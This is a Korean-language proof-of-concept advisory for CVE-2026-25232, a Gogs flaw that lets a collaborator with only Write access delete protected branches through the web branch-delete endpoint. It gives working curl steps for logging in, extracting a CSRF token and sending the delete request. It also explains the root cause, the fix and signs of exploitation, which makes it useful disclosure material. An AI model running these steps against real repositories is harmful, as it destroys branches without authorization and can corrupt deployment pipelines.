
CVE-2026-25232에 대한 개념 증명(PoC)으로, Gogs에 존재하는 권한 상승 취약점입니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-25232 |
| 제품 | Gogs (Go Git Service) |
| 영향을 받는 버전 | <= 0.13.4 |
| 수정된 버전 | 0.14.1 |
| CVSS 점수 | 중간(Medium) |
| CWE | CWE-863: 잘못된 권한 부여 |
| 필요한 인증 | 예 (저장소에 대한 Write 권한) |
| 영향 | Write → Admin 수준 작업으로의 권한 상승 |
CVE-2026-25232는 Gogs 웹 인터페이스의 접근 제어 우회 취약점입니다. 이 취약점을 통해 Write 권한을 가진 저장소 협업자는 DeleteBranchPost 엔드포인트에 직접 POST 요청을 보내 보호 브랜치(기본 브랜치 포함)를 삭제할 수 있으며, 브랜치 보호 메커니즘을 완전히 우회합니다.
근본 원인은 Git Hook 계층과 웹 인터페이스가 브랜치 보호를 적용하는 방식의 차이입니다:
DeleteBranchPost 함수는 Git Hooks를 트리거하지 않으므로 보호 확인이 실행되지 않습니다이로 인해 낮은 권한의 협업자가 저장소 관리자에게만 허용되어야 하는 작업을 수행할 수 있습니다.
http://<TARGET>:3001attacker:Password123! (저장소에 대한 Write 권한)admin/important-repomain (기본 브랜치)브랜치가 보호되고 있으며 일반적인 방법으로는 삭제할 수 없는지 확인합니다:
# API를 통한 일반적인 브랜치 삭제 시도 - 실패해야 합니다
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
예상 응답: 403 Forbidden 또는 보호 오류.
인증된 페이지에서 CSRF 토큰을 가져옵니다:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# 저장소 페이지에서 CSRF 토큰 추출
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
브랜치 삭제 엔드포인트에 직접 POST 요청을 보내 보호 확인을 우회합니다:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
공격자가 Write 권한만 가지고 있음에도 불구하고 보호 브랜치가 삭제됩니다.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
main 브랜치는 더 이상 응답에 나타나지 않습니다.
Gogs 웹 핸들러의 DeleteBranchPost 함수는 사용자가 인증되었고 저장소에 대한 Write 접근 권한이 있는지 확인하지만 대상 브랜치가 보호되는지 여부는 확인하지 않습니다:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
확인: 사용자가 인증되었는가? ✓
확인: 사용자에게 Write 접근 권한이 있는가? ✓
확인: 브랜치가 보호되는가? ✗ (누락)
↓
브랜치 삭제 성공
브랜치 보호를 적용하는 Git Hook 계층은 SSH 또는 HTTP Git 프로토콜을 통한 Git 푸시/삭제 작업 중에만 트리거되며 웹 인터페이스 작업 중에는 트리거되지 않습니다. 이러한 아키텍처상의 공백으로 인해 Write 수준의 협업자 누구나 이 작업을 수행할 수 있습니다.
Write 권한을 가진 악의적인 협업자는 다음을 수행할 수 있습니다:
Gogs 저장소가 자동화된 배포 파이프라인에 연결되는 환경에서는 공급망 손상으로 이어질 수 있습니다.
Gogs v0.14.1 이상으로 업그레이드하십시오. 이 수정은 요청이 이루어지는 방식과 관계없이 삭제를 허용하기 전에 브랜치 보호 상태를 확인하는 적절한 권한 검사를 DeleteBranchPost 함수에 추가합니다.
임시 완화 조치:
/repos/{owner}/{repo}/branches/delete에 대한 예기치 않은 POST 요청을 웹 서버 로그에서 모니터링다음과 같은 악용 지표를 찾으십시오:
/<owner>/<repo>/branches/delete에 대한 예기치 않은 POST 요청이 PoC는 교육 목적과 승인된 보안 테스트 전용입니다. 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.